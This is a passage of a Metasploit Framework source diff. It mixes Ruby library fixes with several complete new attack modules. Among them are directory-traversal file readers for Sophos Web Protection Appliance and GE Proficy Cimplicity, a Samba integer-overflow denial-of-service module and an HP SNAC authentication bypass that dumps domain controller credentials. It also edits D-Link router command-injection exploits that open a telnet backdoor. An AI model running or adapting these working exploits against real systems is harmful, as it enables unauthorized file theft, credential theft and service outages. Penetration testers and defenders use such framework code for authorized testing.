extensions.include?($1)) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index 6926ffb1bc..e6d869bc28 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -26,6 +26,10 @@ class Console::CommandDispatcher::Mimikatz # def initialize(shell) super + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + print_line + print_warning "Loaded x86 Mimikatz on an x64 architecture." + end end # @@ -83,8 +87,7 @@ class Console::CommandDispatcher::Mimikatz arguments = cmd_args.split(" ") end - print client.mimikatz.send_custom_command(cmd_func, arguments) - print_line + print_line client.mimikatz.send_custom_command(cmd_func, arguments) end def mimikatz_request(provider, method) @@ -106,7 +109,7 @@ class Console::CommandDispatcher::Mimikatz table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]] end - print_status table.to_s + print_line table.to_s return true end diff --git a/lib/rex/proto/drda/utils.rb b/lib/rex/proto/drda/utils.rb index 8479bd2ee4..fbf3640c77 100644 --- a/lib/rex/proto/drda/utils.rb +++ b/lib/rex/proto/drda/utils.rb @@ -71,7 +71,7 @@ class Utils ddm.payload.each do |param| case param.codepoint when Constants::SECMEC - info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/ + info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/n when Constants::SECCHKCD info_hash[:security_check_code] = param.payload.unpack("C").first # A little spurious? This is always nonzero when there's no SECCHKRM DDM. diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 71d1c3c1b5..0829fe55d7 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -504,7 +504,7 @@ class Client return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] + ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] return resp unless ntlm_challenge ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index e582716117..6442284688 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -635,7 +635,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] self.default_domain = info[2] @@ -711,7 +711,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -760,7 +760,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -841,7 +841,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen']) # Extract the native lanman and os strings - info = data.split(/\x00/) + info = data.split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -1019,7 +1019,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen']) # Extract the native lanman and os strings - info = data.split(/\x00/) + info = data.split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -1881,7 +1881,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils 'C'+ # Short File Name Length 'C' # Reserved ) - name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/, '') + name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '') files[name] = { 'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F', diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 63e1209e5e..144ef80a67 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -875,7 +875,7 @@ module Text # def self.ascii_safe_hex(str, whitespace=false) if whitespace - str.gsub(/([\x00-\x20\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] } + str.gsub(/([\x00-\x20\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } else str.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0]} end @@ -1076,7 +1076,7 @@ module Text def self.dehex(str) return str unless str.respond_to? :match return str unless str.respond_to? :gsub - regex = /\x5cx[0-9a-f]{2}/mi + regex = /\x5cx[0-9a-f]{2}/nmi if str.match(regex) str.gsub(regex) { |x| x[2,2].to_i(16).chr } else @@ -1091,7 +1091,7 @@ module Text def self.dehex!(str) return str unless str.respond_to? :match return str unless str.respond_to? :gsub - regex = /\x5cx[0-9a-f]{2}/mi + regex = /\x5cx[0-9a-f]{2}/nmi str.gsub!(regex) { |x| x[2,2].to_i(16).chr } end @@ -1563,7 +1563,7 @@ module Text end def self.unicode_filter_decode(str) - str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/ ){|m| [$2].pack("H*") } + str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/n ){|m| [$2].pack("H*") } end protected diff --git a/lib/rex/ui/text/input/socket.rb b/lib/rex/ui/text/input/socket.rb index aa832447d6..37541bae28 100644 --- a/lib/rex/ui/text/input/socket.rb +++ b/lib/rex/ui/text/input/socket.rb @@ -62,12 +62,12 @@ class Input::Socket < Rex::Ui::Text::Input # Handle telnet sequences case line - when /\xff\xf4\xff\xfd\x06/ + when /\xff\xf4\xff\xfd\x06/n @sock.write("[*] Caught ^C, closing the socket...\n") @sock.close return - when /\xff\xed\xff\xfd\x06/ + when /\xff\xed\xff\xfd\x06/n @sock.write("[*] Caught ^Z\n") return end diff --git a/lib/rkelly/visitors/evaluation_visitor.rb b/lib/rkelly/visitors/evaluation_visitor.rb index c7e3aa9607..3353a6531b 100644 --- a/lib/rkelly/visitors/evaluation_visitor.rb +++ b/lib/rkelly/visitors/evaluation_visitor.rb @@ -316,7 +316,7 @@ module RKelly when Numeric object.value when ::String - s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/, '') + s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '') if s.length == 0 0 else diff --git a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb new file mode 100644 index 0000000000..f0d731803b --- /dev/null +++ b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb @@ -0,0 +1,128 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal', + 'Description' => %q{ + This module abuses a directory traversal in Sophos Web Protection Appliance, specifically + on the /cgi-bin/patience.cgi component. This module has been tested successfully on the + Sophos Web Virtual Appliance v3.7.0. + }, + 'Author' => + [ + 'Wolfgang Ettlingers', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2641' ], + [ 'OSVDB', '91953' ], + [ 'BID', '58833' ], + [ 'EDB', '24932' ], + [ 'URL', 'http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ], + [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ] + ], + 'DefaultOptions' => { + 'SSL' => true + }, + 'DisclosureDate' => 'Apr 03 2013')) + + register_options( + [ + Opt::RPORT(443), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']), + OptInt.new('DEPTH', [true, 'Traversal depth', 2]) + ], self.class) + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def is_proficy? + + res = send_request_cgi( + { + 'uri' => "/cgi-bin/patience.cgi", + 'method' => 'GET' + }) + + if res and res.code == 307 and res.body =~ /The patience page request was not valid/ + return true + else + return false + end + end + + def read_file(file) + travs = "" + travs << "../" * datastore['DEPTH'] + travs << file + travs << "%00" + + print_status("#{@peer} - Retrieving file contents...") + + res = send_request_cgi( + { + 'uri' => "/cgi-bin/patience.cgi", + 'method' => 'GET', + 'encode_params' => false, + 'vars_get' => { + 'id' => travs + } + }) + + + if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID'] + return res.body + else + print_status("#{res.code}\n#{res.body}") + return nil + end + + end + + def run + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...") + if is_proficy? + print_good("#{@peer} - Check successful") + else + print_error("#{@peer} - Sophos Web Protect Appliance vulnerable component not found") + return + end + + contents = read_file(datastore['FILEPATH']) + if contents.nil? + print_error("#{@peer} - File not downloaded") + return + end + + file_name = my_basename(datastore['FILEPATH']) + path = store_loot( + 'sophos.wpa.traversal', + 'application/octet-stream', + rhost, + contents, + file_name + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + + end + +end diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb new file mode 100644 index 0000000000..33969e6bf3 --- /dev/null +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -0,0 +1,145 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal', + 'Description' => %q{ + This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the + gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM + privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5. + }, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0653' ], + [ 'OSVDB', '89490' ], + [ 'BID', '57505' ], + [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ] + ], + 'DisclosureDate' => 'Jan 22 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + # By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb + OptInt.new('DEPTH', [true, 'Traversal depth', 5]) + ], self.class) + end + + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str + end + + new_str + end + + def target_uri + begin + # In case TARGETURI is empty, at least we default to '/' + u = datastore['TARGETURI'] + u = "/" if u.nil? or u.empty? + URI(u) + rescue ::URI::InvalidURIError + print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" + raise Msf::OptionValidateError.new(['TARGETURI']) + end + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def is_proficy? + connect + req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n" + sock.put(req) + res = sock.get_once + disconnect + + if res and res =~ /gefebt\.exe/ + return true + else + return false + end + end + + # We can't use the http client msf mixin because the Proficy Web server + # return a malformed HTTP response with the file contents, there aren't + # two new lines (but one) between the HTTP headers and the body content. + def read_file(file) + travs = "" + travs << "../" * datastore['DEPTH'] + travs << file + + print_status("#{@peer} - Retrieving file contents...") + + connect + req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n" + sock.put(req) + res = sock.get_once + disconnect + + if res and res =~ /HTTP\/1\.0 200 OK/ + return res + else + return nil + end + + end + + def run + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Checking if it's a GE Proficy Application...") + if is_proficy? + print_good("#{@peer} - Check successful") + else + print_error("#{@peer} - GE proficy not found") + return + end + + contents = read_file(datastore['FILEPATH']) + if contents.nil? + print_error("#{@peer} - File not downloaded") + return + end + + file_name = my_basename(datastore['FILEPATH']) + path = store_loot( + 'ge.proficy.traversal', + 'application/octet-stream', + rhost, + contents, + file_name + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + + end + +end diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb new file mode 100644 index 0000000000..b6a17ea63a --- /dev/null +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -0,0 +1,128 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/struct2' +require 'rex/proto/smb' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Authenticated + + TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( + [ 'uint16v', 'FID', 0 ], + [ 'uint16v', 'InfoLevel', 0 ], + [ 'uint16v', 'Reserved', 0 ], + ) + + FEA_LIST = Rex::Struct2::CStructTemplate.new( + [ 'uint32v', 'NextOffset', 0 ], + [ 'uint8', 'Flags', 0 ], + [ 'uint8', 'NameLen', 0 ], + [ 'uint16v', 'ValueLen', 0 ], + [ 'string', 'Name', nil, '' ], + [ 'string', 'Value', nil, '' ] + ) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', + 'Description' => %q{ + Integer overflow in the read_nttrans_ea_list function in nttrans.c in + smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before + 4.0.8 allows remote attackers to cause a denial of service (memory + consumption) via a malformed packet. Important Note: in order to work, + the "ea support" option on the target share must be enabled. + }, + 'Author' => + [ + 'Jeremy Allison', # Vulnerability discovery + 'dz_lnly' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '95969'], + ['BID', '61597'], + ['EDB', '27778'], + ['CVE', '2013-4124'] + ], + )) + + register_options( + [ + OptString.new('SMBShare', [true, 'Target share', '']), + OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]), + OptInt.new('Tries', [true, 'Number of DOS tries', 40]), + ], self.class) + + end + + def get_fid + ok = self.simple.client.create("/") + return ok['Payload'].v['FileID'] + end + + def mk_items_payload + item1 = FEA_LIST.make_struct + item1.v['ValueLen'] = datastore['MsgLen'] + item1.v['Value'] = "\x00" * datastore['MsgLen'] + item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item1.v['NameLen'] = item1.v['Name'].length + item2 = FEA_LIST.make_struct + item2.v['ValueLen'] = datastore['MsgLen'] + item2.v['Value'] = "\x00" * datastore['MsgLen'] + item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item2.v['NameLen'] = item1.v['Name'].length + item3 = FEA_LIST.make_struct # Some padding + item3.v['ValueLen'] = 4 + item3.v['Value'] = "\x00\x00\x00\x00" + item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item3.v['NameLen'] = item1.v['Name'].length + + ilen = item1.to_s.length + item1.v['NextOffset'] = ilen + # Wrap offset to 0x00 + item2.v['NextOffset'] = 0xffffffff - ilen + 1 + return item1.to_s + item2.to_s + item3.to_s + end + + def send_pkt + fid = get_fid + + trans = TRANS2_PARAM.make_struct + trans.v['FID'] = fid + trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION + data = mk_items_payload + subcmd = 0x08 + self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) + end + + def run + print_status("Trying a max of #{datastore['Tries']} times...") + datastore['Tries'].times do + connect() + smb_login() + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + + print_status('Sending malicious package...') + send_pkt + + begin + self.simple.client.create("") + print_status('Server Answered, DoS unsuccessful') + rescue Timeout::Error + print_good('Server timed out, this is expected') + return + rescue Rex::Proto::SMB::Exceptions::InvalidType + print_status('Server Answered, DoS unsuccessful') + end + disconnect() + end + end + +end diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb new file mode 100644 index 0000000000..7b885b7da6 --- /dev/null +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -0,0 +1,145 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve SNAC Domain Controller Credential Dumper', + 'Description' => %q{ + This module will extract Domain Controller credentials from vulnerable installations of HP + SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability + has been used to exploit remote file uploads. This vulnerability can be used to gather important + information handled by the vulnerable application, like plain text domain controller + credentials. This module has been tested successfully with HP SNAC included with ProCurve + Manager 4.0. + }, + 'References' => + [ + ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03897409'] + ], + 'Author' => + [ + 'rgod ', # Auth bypass discovered by + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => "Sep 09 2013" + )) + + register_options( + [ + Opt::RPORT(443) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def get_domain_info(session) + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /domainName/ + return res.body + end + + return nil + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def parse_domain_data(data) + results = [] + doc = REXML::Document.new(data) + + doc.elements.each("Controllers/Domain") do |domain| + dc_ip = domain.elements['domainControllerIP'].text + port = domain.elements['port'].text + service = domain.elements['connType'].text + user = domain.elements['userName'].text + password = domain.elements['password'].text + results << [dc_ip, port, service, user, password] + end + + return results + end + + def run + + print_status("#{peer} - Get Domain Info") + session = get_session + + if session.nil? + print_error("#{peer} - Failed to get a valid session, maybe the target isn't HP SNAC installation?") + return + end + + print_status("#{peer} - Exploiting Authentication Bypass to gather Domain Controller Info...") + domain_info = get_domain_info(session) + + if domain_info.nil? + print_error("#{peer} - Failed, maybe the target isn't vulnerable") + return + end + + print_status("#{peer} - Parsing data gathered...") + credentials = parse_domain_data(domain_info) + + if credentials.empty? + print_warning("#{peer} - Any Domain Controller has been found...") + return + end + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Domain Controllers Credentials', + 'Indent' => 1, + 'Columns' => ['Domain Controller', 'Username', 'Password'] + ) + + credentials.each do |record| + report_auth_info({ + :host => record[0], + :port => record[1], + :sname => record[2].downcase, + :user => record[3], + :pass => record[4], + :source_type => "vuln" + }) + cred_table << [record[0], record[3], record[4]] + end + + print_line + print_line(cred_table.to_s) + + end +end diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb new file mode 100644 index 0000000000..4561e0835f --- /dev/null +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -0,0 +1,129 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Host Information Enumeration via NTLM Authentication', + 'Description' => %q{ + This module makes requests to resources on the target server in + an attempt to find resources which permit NTLM authentication. For + resources which permit NTLM authentication, a blank NTLM type 1 message + is sent to enumerate a a type 2 message from the target server. The type + 2 message is then parsed for information such as the Active Directory + domain and NetBIOS name. + }, + 'Author' => 'Brandon Knight', + 'License' => MSF_LICENSE + ) + register_options( + [ + OptPath.new('TARGETURIS', [ true, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + File.open(datastore['TARGETURIS'], 'rb').each_line do |line| + test_uri = line.chomp + test_path = normalize_uri(test_uri) + result = check_url(test_path) + if result + message = "Enumerated info on #{peer}#{test_path} - " + message << "(name:#{result[:nb_name]}) " + message << "(domain:#{result[:nb_domain]}) " + message << "(domain_fqdn:#{result[:dns_domain]}) " + message << "(server_fqdn:#{result[:dns_server]})" + print_good(message) + report_note( + :host => ip, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :ntype => 'ntlm.enumeration.info', + :data => { + :uri=>test_path, + :SMBName => result[:nb_name], + :SMBDomain => result[:nb_domain], + :FQDNDomain => result[:dns_domain], + :FQDNName => result[:dns_server] + }, + :update => :unique_data + ) + return + end + end + end + + def check_url(test_uri) + begin + + vprint_status("Checking #{peer} URL #{test_uri}") + res = send_request_cgi({ + 'encode' => true, + 'uri' => "#{test_uri}", + 'method' => 'GET', + 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }) + + return if res.nil? + + vprint_status("Status: #{res.code}") + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + #Parse out the NTLM and just get the Target Information Data + target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value() + # Retrieve Domain name subblock info + nb_domain = parse_ntlm_info(target, "\x02\x00", 0) + # Retrieve Server name subblock info + nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset]) + # Retrieve DNS domain name subblock info + dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset]) + # Retrieve DNS server name subblock info + dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset]) + + return { + :nb_name => nb_name[:message], + :nb_domain => nb_domain[:message], + :dns_domain => dns_domain[:message], + :dns_server => dns_server[:message] + } + end + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + + end + + def parse_ntlm_info(message,pattern,offset) + name_index = message.index(pattern,offset) + offset = name_index.to_i + size = message[offset+2].unpack('C').first + return { + :message=>message[offset+3,size].gsub(/\0/,''), + :new_offset => offset + size + } + end + +end diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index d39b21f8ff..7b2fb501d7 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -218,6 +218,12 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 301) uri = URI(res.headers['Location']) + if uri.path =~ /\/author\/([[:print:]]+)\// + username = $1 + print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}" + usernames << username + next + end uri = "#{uri.path}?#{uri.query}" res = send_request_cgi({ 'method' => 'GET', @@ -245,4 +251,4 @@ class Metasploit3 < Msf::Auxiliary return usernames end -end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index e37300da7f..99e4f6aabf 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") # Not successful yet, maybe we got a password prompt. - if password_prompt? + if password_prompt?(user) send_pass(pass) # Allow for slow echos diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index a339ee099e..5161fbd88a 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary :proto => 'tcp', :port => rport, :type => 'smb.shares', - :data => { :shares => shares.inspect }, + :data => { :shares => shares }, :update => :unique_data ) diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index c928228a0b..1822edd241 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - if password_prompt? + if password_prompt?(user) send_pass(pass) # Allow for slow echos diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb index ce03bd3db3..5339b7c858 100644 --- a/modules/exploits/freebsd/local/mmap.rb +++ b/modules/exploits/freebsd/local/mmap.rb @@ -6,13 +6,11 @@ ## require 'msf/core' -require 'msf/core/post/common' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE - include Msf::Post::Common include Msf::Post::File include Msf::Exploit::FileDropper diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index c4e14dc200..66eed739a7 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection via the web + Various D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in command.php, which is accessible without authentication. This module has been tested with the versions DIR-600 2.14b01, DIR-300 rev B 2.13. @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - telnetport = rand(65535) + telnetport = rand(32767) + 32768 print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") @@ -88,12 +88,15 @@ class Metasploit3 < Msf::Exploit::Remote request(cmd) print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end + add_socket(sock) + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 5ef40d5c6b..e0dd48864d 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection via the web + Various D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in tools_vct.xgi, which is accessible with credentials. According to the vulnerability discoverer, more D-Link devices may be affected. @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit_telnet - telnetport = rand(65535) + telnetport = rand(32767) + 32768 print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") @@ -138,29 +138,26 @@ class Metasploit3 < Msf::Exploit::Remote #starting 